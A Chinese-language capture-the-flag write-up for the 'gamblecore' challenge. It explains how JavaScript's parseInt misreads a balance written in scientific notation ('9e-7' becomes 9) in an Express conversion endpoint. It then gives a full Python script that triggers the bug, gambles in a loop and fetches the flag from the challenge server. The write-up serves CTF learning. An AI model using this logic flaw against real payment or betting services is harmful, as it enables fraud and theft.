gamblecore:parseInt 的科学计数法陷阱
gamblecore
目标是从"黑市"部分购买Flag,需要10美元。
初始状态:
- 微币: 0.00001 (10e-6)
- 美元: $0
游戏机制:
- 9%的概率将赌注乘以10倍
- 可以将微币转换为美元(1微币 = $0.01)
// server.js 中的 /api/convert 端点
app.post('/api/convert', (req, res) => {
let { amount } = req.body;
const wallet = req.session.wallet;
const coinBalance = parseInt(wallet.coins);
amount = parseInt(amount);
if (isNaN(amount) || amount <= 0) {
return res.status(400).json({ error: 'Invalid amount' });
}
if (amount <= coinBalance && amount > 0) {
wallet.coins -= amount;
wallet.usd += amount * 0.01;
return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
} else {
return res.status(400).json({ error: 'Conversion failed.' });
}
});
漏洞的核心在于JavaScript的parseInt()函数行为:
- 科学计数法转换:
// 当数值小于 1e-6 时,转换为字符串会使用科学计数法
0.0000009.toString() === "9e-7"
- parseInt的行为:
// parseInt从字符串开头解析,遇到非数字字符停止
parseInt("9e-7") === 9 // 解析到'e'停止
要利用此漏洞,需要:
- 将余额减少到小于 0.000001
- 使余额在科学计数法下第一位数字尽可能大
漏洞利用
操作步骤:
- 从 0.00001 微币开始
- 下注 0.0000091 微币
- 如果输了(91%概率),余额变为:0.00001 - 0.0000091 = 0.0000009
- 此时余额字符串为"9e-7" - 请求兑换 9 微币
-parseInt("9e-7")返回 9
- 检查通过:9 ≤ 9
- 获得:9 × $0.01 = $0.09
利用 9% 的胜率进行赌博:
- 用全部 $0.09 下注
- 如果赢了:$0.09 × 10 = $0.90 - 用全部 $0.90 下注
- 如果赢了:$0.90 × 10 = $9.00 - 用 $1.00 反复下注
- 有9次机会达到 $10+
- 每次胜率:9%
利用脚本
这里直接用了官方 wp 的脚本,并补上了注释
import requests
import urllib3
import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = "https://chall.polygl0ts.ch:8148"
def solve():
attempts = 0
while True:
attempts += 1
s = requests.Session()
try:
# 第一步:触发parseInt漏洞
bet_setup = 0.0000091
r = s.post(f"{URL}/api/gamble",
json={'currency': 'coins', 'amount': bet_setup},
verify=False)
if r.json().get('win') is True:
continue # 如果赢了,重新开始
# 兑换幽灵微币
r = s.post(f"{URL}/api/convert", json={'amount': 9}, verify=False)
if 'success' not in r.text:
# 尝试兑换8微币(如果9失败)
r = s.post(f"{URL}/api/convert", json={'amount': 8}, verify=False)
if 'success' not in r.text:
continue # 重新开始
# 获取当前余额
bal_res = s.get(f"{URL}/api/balance", verify=False).json()
usd = bal_res['usd']
# 第二步:全押赌博策略
# 第一轮全押
r = s.post(f"{URL}/api/gamble",
json={'currency': 'usd', 'amount': usd},
verify=False)
if not r.json().get('win'):
continue
usd = r.json()['new_balance']
# 第二轮全押
r = s.post(f"{URL}/api/gamble",
json={'currency': 'usd', 'amount': usd},
verify=False)
if not r.json().get('win'):
continue
usd = r.json()['new_balance']
# 第三轮:用1美元反复下注
while 1 <= usd < 10:
r = s.post(f"{URL}/api/gamble",
json={'currency': 'usd', 'amount': 1},
verify=False)
data = r.json()
usd = data['new_balance']
if data.get('win'):
break # 如果赢了,检查是否达到10美元
# 检查是否达到目标
if usd >= 10:
# 获取Flag
r = s.post(f"{URL}/api/flag", verify=False)
print(f"Success after {attempts} attempts!")
print(f"Flag: {r.text}")
break
except Exception as e:
# 静默处理异常,继续尝试
continue
if __name__ == "__main__":
solve()